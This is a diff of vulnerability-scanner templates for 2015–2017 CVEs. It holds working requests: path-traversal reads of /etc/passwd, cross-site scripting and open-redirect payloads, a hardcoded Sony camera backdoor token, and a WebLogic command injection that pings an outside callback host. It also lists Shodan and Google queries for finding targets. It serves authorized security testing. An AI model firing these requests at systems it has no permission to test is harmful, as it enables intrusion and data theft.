+    - https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150410-0_TP-Link_Unauthenticated_local_file_disclosure_vulnerability_v10.txt
+    - http://www.tp-link.com/en/download/TL-WDR3600_V1.html#Firmware
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-3035
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
+    cvss-score: 8.6
+    cve-id: CVE-2015-3035
+    cwe-id: CWE-22
+  metadata:
+    shodan-query: http.title:"TP-LINK"
+    verified: "true"
+  tags: router,lfi,seclists,cve,cve2015,tplink,kev
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login/../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by mp on 2022/09/30
@@ -0,0 +1,36 @@
+id: CVE-2015-4074
+
+info:
+  name: Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion
+  author: 0x_Akoko
+  severity: high
+  description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.
+  reference:
+    - https://packetstormsecurity.com/files/132766/Joomla-Helpdesk-Pro-XSS-File-Disclosure-SQL-Injection.html
+    - https://www.exploit-db.com/exploits/37666/
+    - https://www.cvedetails.com/cve/CVE-2015-4074
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4074
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2015-4074
+    cwe-id: CWE-22
+  tags: lfi,packetstorm,edb,cve,cve2015,joomla,plugin
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by cs on 2022/09/08
@@ -1,16 +1,18 @@
 id: CVE-2015-4127

 info:
-  name: WordPress Plugin church_admin - Cross-Site Scripting (XSS)
+  name: WordPress Church Admin <0.810 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
-    Cross-site scripting (XSS) vulnerability in the church_admin plugin before 0.810 for WordPress allows remote attackers to inject arbitrary web script or HTML via the address parameter, as demonstrated by a request to index.php/2015/05/21/church_admin-registration-form/.
+    WordPress Church Admin plugin before 0.810 allows remote attackers to inject arbitrary web script or HTML via the address parameter via index.php/2015/05/21/church_admin-registration-form/.
  reference:
    - https://www.exploit-db.com/exploits/37112
    - https://wpscan.com/vulnerability/2d5b3707-f58a-4154-93cb-93f7058e3408
-    - https://nvd.nist.gov/vuln/detail/CVE-2015-4127
    - https://wordpress.org/plugins/church-admin/changelog/
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-4127
+  classification:
+    cve-id: CVE-2015-4127
  tags: wp-plugin,wp,edb,wpscan,cve,cve2015,wordpress,xss

 requests:
@@ -33,3 +35,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2022/08/31
@@ -1,16 +1,16 @@
 id: CVE-2015-4668

 info:
-  name: Xsuite 2.4.4.5 - Open Redirect
+  name: Xsuite <=2.4.4.5 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
-    Open redirect vulnerability in Xsuite 2.4.4.5 and earlier allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirurl parameter.
+    Xsuite 2.4.4.5 and prior contains an open redirect vulnerability, which can allow a remote attacker to redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the redirurl parameter.
  reference:
    - https://www.modzero.com/advisories/MZ-15-02-Xceedium-Xsuite.txt
-    - https://www.cvedetails.com/cve/CVE-2015-4668
    - https://vuldb.com/?id.107082
    - https://www.exploit-db.com/exploits/37708/
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-4668
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -28,3 +28,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by mp on 2022/09/30
@@ -1,15 +1,15 @@
 id: CVE-2015-5461

 info:
-  name: StageShow <= 5.0.8 - Open Redirect
+  name: WordPress StageShow <5.0.9 - Open Redirect
  author: 0x_Akoko
  severity: medium
-  description: Open redirect vulnerability in the Redirect function in stageshow_redirect.php in the StageShow plugin before 5.0.9 for WordPress allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url parameter.
+  description: WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshow_redirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter.
  reference:
    - https://wpscan.com/vulnerability/afc0d5b5-280f-424f-bc3e-d04452e56e16
-    - https://nvd.nist.gov/vuln/detail/CVE-2015-5461
    - https://wordpress.org/plugins/stageshow/changelog/
    - http://seclists.org/fulldisclosure/2015/Jul/27
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-5461
  classification:
    cve-id: CVE-2015-5461
  metadata:
@@ -26,3 +26,5 @@ requests:
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header
+
+# Enhanced by mp on 2022/09/30
@@ -0,0 +1,36 @@
+id: CVE-2015-5469
+
+info:
+  name: WordPress MDC YouTube Downloader 2.1.0 - Local File Inclusion
+  author: 0x_Akoko
+  severity: high
+  description: WordPress MDC YouTube Downloader 2.1.0 plugin is susceptible to local file inclusion. A remote attacker can read arbitrary files via a full pathname in the file parameter to includes/download.php.
+  reference:
+    - https://www.openwall.com/lists/oss-security/2015/07/10/5
+    - http://www.vapid.dhs.org/advisory.php?v=133
+    - http://www.openwall.com/lists/oss-security/2015/07/10/5
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-5469
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2015-5469
+    cwe-id: CWE-22
+  tags: cve,cve2015,wp,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by mp on 2022/09/30
@@ -0,0 +1,34 @@
+id: CVE-2015-7245
+
+info:
+  name: D-Link DVG-N5402SP - Local File Inclusion
+  author: 0x_Akoko
+  severity: high
+  description: |
+    D-Link DVG-N5402SP is susceptible to local file inclusion in products with firmware W1000CN-00, W1000CN-03, or W2000EN-00. A remote attacker can read sensitive information via a .. (dot dot) in the errorpage parameter.
+  reference:
+    - https://packetstormsecurity.com/files/135590/D-Link-DVG-N5402SP-Path-Traversal-Information-Disclosure.html
+    - https://www.exploit-db.com/exploits/39409/
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-7245
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2015-7245
+    cwe-id: CWE-22
+  tags: cve,cve2015,dlink,lfi,packetstorm,edb
+
+requests:
+  - raw:
+      - |
+        POST /cgibin/webproc HTTP/1.1
+        Host: {{Hostname}}
+
+        getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/passwd&var%3Amenu=setup&var%3Apage=connected&var%&objaction=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+
+# Enhanced by mp on 2022/09/30
@@ -1,10 +1,10 @@
 id: CVE-2015-7823

 info:
-  name: Kentico CMS 8.2 Open Redirection
+  name: Kentico CMS 8.2 - Open Redirect
  author: 0x_Akoko
  severity: low
-  description: The GetDocLink.ashx  with link variable is vulnerable to open redirect vulnerability
+  description: Kentico CMS 8.2 contains an open redirect vulnerability via GetDocLink.ashx with link variable. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.
  reference:
    - https://packetstormsecurity.com/files/133981/Kentico-CMS-8.2-Cross-Site-Scripting-Open-Redirect.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7823
@@ -23,3 +23,5 @@ requests:
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header
+
+# Enhanced by mp on 2022/09/30
@@ -1,14 +1,15 @@
 id: CVE-2015-8399

 info:
-  name: Atlassian Confluence configuration files read
+  name: Atlassian Confluence <5.8.17 - Information Disclosure
  author: princechaddha
  severity: medium
-  description: Atlassian Confluence before 5.8.17 allows remote authenticated users to read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
+  description: Atlassian Confluence before 5.8.17 contains an information disclsoure vulnerability. A remote authenticated user can read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
  reference:
    - https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro
    - https://www.exploit-db.com/exploits/39170/
    - http://web.archive.org/web/20201209041130/https://www.securityfocus.com/archive/1/537232/100/0/threaded
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-8399
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
@@ -35,3 +36,5 @@ requests:
          - "confluence-init.properties"
          - "View Default Decorator"
        condition: and
+
+# Enhanced by mp on 2022/09/30
@@ -1,7 +1,7 @@
 id: CVE-2016-1000141

 info:
-  name: WordPress Page Layout builder v1.9.3 - Reflected Cross-Site Scripting
+  name: WordPress Page Layout builder v1.9.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress plugin Page-layout-builder v1.9.3 contains a cross-site scripting vulnerability.
@@ -1,7 +1,7 @@
 id: CVE-2016-10033

 info:
-  name: WordPress PHPMailer < 5.2.18 Remote Code Execution
+  name: WordPress PHPMailer < 5.2.18 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
@@ -0,0 +1,40 @@
+id: CVE-2016-10368
+
+info:
+  name: Opsview Monitor Pro - Open Redirect
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    Opsview Monitor Pro before 5.1.0.162300841, before 5.0.2.27475, before 4.6.4.162391051, and 4.5.x without a certain 2016 security patch contains an open redirect vulnerability. An attacker can redirect users to arbitrary web sites and conduct phishing attacks via the back parameter to the login URI.
+  reference:
+    - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18774
+    - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-016/?fid=8341
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-10368
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2016-10368
+    cwe-id: CWE-601
+  tags: cve,cve2016,redirect,opsview,authenticated
+
+requests:
+  - raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        login_username={{username}}&login_password={{password}}&login=&back=//www.interact.sh&app=OPSVIEW
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: header
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
+
+      - type: status
+        status:
+          - 302
+
+# Enhanced by mp on 2022/10/12
@@ -7,7 +7,6 @@ info:
  description: SAP xMII 15.0 for SAP NetWeaver 7.4 is susceptible to a local file inclusion vulnerability in the GetFileList function. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the path parameter to /Catalog, aka SAP Security Note 2230978.
  reference:
    - https://erpscan.io/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/
-    - https://www.cvedetails.com/cve/CVE-2016-2389
    - http://packetstormsecurity.com/files/137046/SAP-MII-15.0-Directory-Traversal.html
    - https://www.exploit-db.com/exploits/39837/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-2389
@@ -15,7 +15,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2016-3088
    cwe-id: CWE-20
-  tags: fileupload,kev,edb,cve,cve2016,apache,activemq
+  tags: fileupload,kev,edb,cve,cve2016,apache,activemq,intrusive

 requests:
  - raw:
@@ -0,0 +1,32 @@
+id: CVE-2016-6601
+
+info:
+  name: ZOHO WebNMS Framework 5.2 and 5.2 SP1 - Directory Traversal
+  author: 0x_Akoko
+  severity: high
+  description: Directory traversal vulnerability in the file download functionality in ZOHO WebNMS Framework 5.2 and 5.2 SP1 allows remote attackers to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile
+  reference:
+    - https://github.com/pedrib/PoC/blob/master/advisories/webnms-5.2-sp1-pwn.txt
+    - https://www.exploit-db.com/exploits/40229/
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-6601
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2016-6601
+    cwe-id: CWE-22
+  tags: edb,cve,cve2016,zoho,lfi,webnms
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,44 @@
+id: CVE-2016-7834
+
+info:
+  name: Sony IPELA Engine IP Camera - Hardcoded Account
+  author: af001
+  severity: high
+  description: |
+    Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.
+  reference:
+    - https://sec-consult.com/vulnerability-lab/advisory/backdoor-vulnerability-in-sony-ipela-engine-ip-cameras/
+    - https://www.bleepingcomputer.com/news/security/backdoor-found-in-80-sony-surveillance-camera-models/
+    - https://jvn.jp/en/vu/JVNVU96435227/index.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-7834
+  remediation: |
+    Upgrade to the latest version of the firmware provided by Sony.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2016-7834
+    cwe-id: CWE-200
+  tags: sony,backdoor,unauth,telnet,iot,camera
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/command/prima-factory.cgi"
+
+    headers:
+      Authorization: Bearer cHJpbWFuYTpwcmltYW5h
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - 'gen5th'
+          - 'gen6th'
+        condition: or
+
+      - type: status
+        status:
+          - 204
+
+# Enhanced by cs 09/23/2022
@@ -7,7 +7,6 @@ info:
  description: Oracle GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to unauthenticated local file inclusion vulnerabilities that allow remote attackers to request arbitrary files on the server.
  reference:
    - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18784
-    - https://www.cvedetails.com/cve/CVE-2017-1000029
    - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-011/?fid=8037
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000029
  classification:
@@ -32,4 +31,4 @@ requests:
        status:
          - 200

-# Enhanced by mp on 2022/06/09
+# Enhanced by mp on 2022/10/24
@@ -1,34 +1,47 @@
 id: CVE-2017-10075

 info:
-  name: Oracle Content Server Cross-Site Scripting
+  name: Oracle Content Server - Cross-Site Scripting
  author: madrobot
  severity: high
-  description: Oracle Content Server version 11.1.1.9.0, 12.2.1.1.0 and 12.2.1.2.0 are susceptible to cross-site scripting. The vulnerability can be used to include HTML or JavaScript code in the affected web page. The code is executed in the browser of users if they visit the manipulated site.
+  description: |
+    Oracle Content Server version 11.1.1.9.0, 12.2.1.1.0 and 12.2.1.2.0 are susceptible to cross-site scripting. The vulnerability can be used to include HTML or JavaScript code in the affected web page. The code is executed in the browser of users if they visit the manipulated site.
  reference:
    - http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-10075
    - http://web.archive.org/web/20211206074610/https://securitytracker.com/id/1038940
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-10075
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2017-10075
+  metadata:
+    google-dork: inurl:"/cs/idcplg"
+    verified: "true"
  tags: cve,cve2017,xss,oracle

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
-      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>&dSecurityGroup=&QueryText=(dInDate+>=+%60<$dateCurrent(-7)$>%60)&PageTitle=OO"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
+      - type: word
+        part: body
+        words:
+          - "<svg/onload=alert(document.domain)>"
+          - "ORACLE_QUERY"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "<script>alert(31337)</script>"
-        part: body

 # Enhanced by mp on 2022/04/12
@@ -2,7 +2,7 @@ id: CVE-2017-10271

 info:
  name: Oracle WebLogic Server - Remote Command Execution
-  author: dr_set,ImNightmaree
+  author: dr_set,ImNightmaree,true13
  severity: high
  description: |
    The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
@@ -42,7 +42,7 @@ requests:
                                    <string>-c</string>
                                </void>
                                <void index="2">
-                                    <string>interact.sh</string>
+                                    <string>ping -c 1 {{interactsh-url}}</string>
                                </void>
                            </array>
                            <void method="start"/></void>
@@ -85,7 +85,8 @@ requests:
    matchers:
      - type: dsl
        dsl:
-          - regex("<faultstring>.*</faultstring>", body)
+          - regex("<faultstring>java.lang.ProcessBuilder || <faultstring>0", body)
+          - contains(interactsh_protocol, "dns")
          - status_code == 500
        condition: and

@@ -8,10 +8,9 @@ info:
    ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.
  reference:
    - https://exploit.kitploit.com/2017/11/manageengine-servicedesk-cve-2017-11512.html
-    - https://www.cvedetails.com/cve/CVE-2017-11512
    - https://www.tenable.com/security/research/tra-2017-31
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-11512
    - https://web.archive.org/web/20210116180015/https://www.securityfocus.com/bid/101789/
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-11512
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -0,0 +1,41 @@
+id: CVE-2017-11586
+
+info:
+  name: FineCMS <5.0.9 - Open Redirect
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    FineCMS 5.0.9 contains an open redirect vulnerability via the url parameter in a sync action. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
+  reference:
+    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-11586
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2017-11586
+    cwe-id: CWE-601
+  metadata:
+    verified: "true"
+  tags: cve,cve2017,redirect,finecms
+
+requests:
+  - raw:
+      - |
+        POST /index.php?s=member&c=login&m=index HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        back=&data%5Busername%5D={{username}}&data%5Bpassword%5D={{password}}&data%5Bauto%5D=1
+
+      - |
+        GET /index.php?c=weixin&m=sync&url=http://interact.sh HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers:
+      - type: regex
+        part: header
+        regex:
+          - 'Refresh:(.*)url=http:\/\/interact\.sh'
+
+# Enhanced by mp on 2022/10/12
@@ -0,0 +1,43 @@
+id: CVE-2017-11629
+
+info:
+  name: FineCMS <=5.0.10 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    FineCMS through 5.0.10 contains a cross-site scripting vulnerability in controllers/api.php via the function parameter in a c=api&m=data2 request.
+  reference:
+    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse
+    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#api-php-Reflected-XSS
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-11629/
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2017-11629
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: cve,cve2017,xss,finecms
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?c=api&m=data2&function=%3Cscript%3Ealert(document.domain)%3C/script%3Ep&format=php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<script>alert(document.domain)</script>p不存在'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by mp on 2022/08/31
@@ -4,11 +4,12 @@ info:
  name: XOOPS Core 2.5.8 - Open Redirect
  author: 0x_Akoko
  severity: medium
-  description: XOOPS Core 2.5.8 has a stored URL redirect bypass vulnerability in /modules/profile/index.php because of the URL filter.
+  description: XOOPS Core 2.5.8 contains an open redirect vulnerability in /modules/profile/index.php due to the URL filter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/XOOPS/XoopsCore25/issues/523
    - https://xoops.org
    - https://www.cvedetails.com/cve/CVE-2017-12138
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-12138
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -35,3 +36,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13
@@ -19,7 +19,7 @@ info:
    cwe-id: CWE-434
  metadata:
    shodan-query: title:"Apache Tomcat"
-  tags: rce,tomcat,kev,cisa,vulhub,cve,cve2017,apache
+  tags: rce,tomcat,kev,cisa,vulhub,cve,cve2017,apache,fileupload

 requests:
  - method: PUT
@@ -0,0 +1,42 @@
+id: CVE-2017-14186
+
+info:
+  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
+  author: johnk3r
+  severity: medium
+  description: |
+    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
+  reference:
+    - https://www.fortiguard.com/psirt/FG-IR-17-242
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
+    - https://fortiguard.com/advisory/FG-IR-17-242
+    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2017-14186
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: port:10443 http.favicon.hash:945408572
+    verified: "true"
+  tags: cve,cve2017,fortigate,xss,fortinet
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
@@ -1,7 +1,7 @@
 id: CVE-2017-14651

 info:
-  name: WSO2 Data Analytics Server 3.1.0 - Reflected Cross-Site Scripting
+  name: WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting
  author: mass0ma
  severity: medium
  description: WSO2 Data Analytics Server 3.1.0 is susceptible to cross-site scripting in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.
@@ -15,7 +15,7 @@ info:
    cvss-score: 8.1
    cve-id: CVE-2017-15715
    cwe-id: CWE-20
-  tags: apache,httpd,fileupload,vulhub,cve,cve2017
+  tags: apache,httpd,fileupload,vulhub,cve,cve2017,intrusive

 requests:
  - raw:
@@ -0,0 +1,43 @@
+id: CVE-2017-17736
+
+info:
+  name: Kentico - Installer Privilege Escalation
+  author: shiar
+  severity: critical
+  description: |
+    Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 are susceptible to a privilege escalation attack. An attacker can obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard.
+  reference:
+    - https://www.exploit-db.com/ghdb/5694
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-17736
+    - https://blog.hivint.com/advisory-access-control-bypass-in-kentico-cms-cve-2017-17736-49e1e43ae55b
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2017-17736
+    cwe-id: CWE-425
+  metadata:
+    google-query: intitle:"kentico database setup"
+    verified: "true"
+  tags: cve,cve2017,kentico,cms,install,unauth,edb
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CMSInstall/install.aspx"
+
+    matchers-condition: or
+    matchers:
+      - type: word
+        words:
+          - "Kentico"
+          - "Database Setup"
+          - "SQLServer"
+        condition: and
+
+      - type: word
+        words:
+          - "Database Setup"
+          - "SQLServer"
+        condition: and
+
+# Enhanced by cs on 2022/10/24
@@ -17,7 +17,7 @@ info:
    cvss-score: 8.1
    cve-id: CVE-2017-5521
    cwe-id: CWE-200
-  tags: cve,cve2017,auth-bypass,netgear,router
+  tags: cve,cve2017,auth-bypass,netgear,router,kev

 requests:
  - method: GET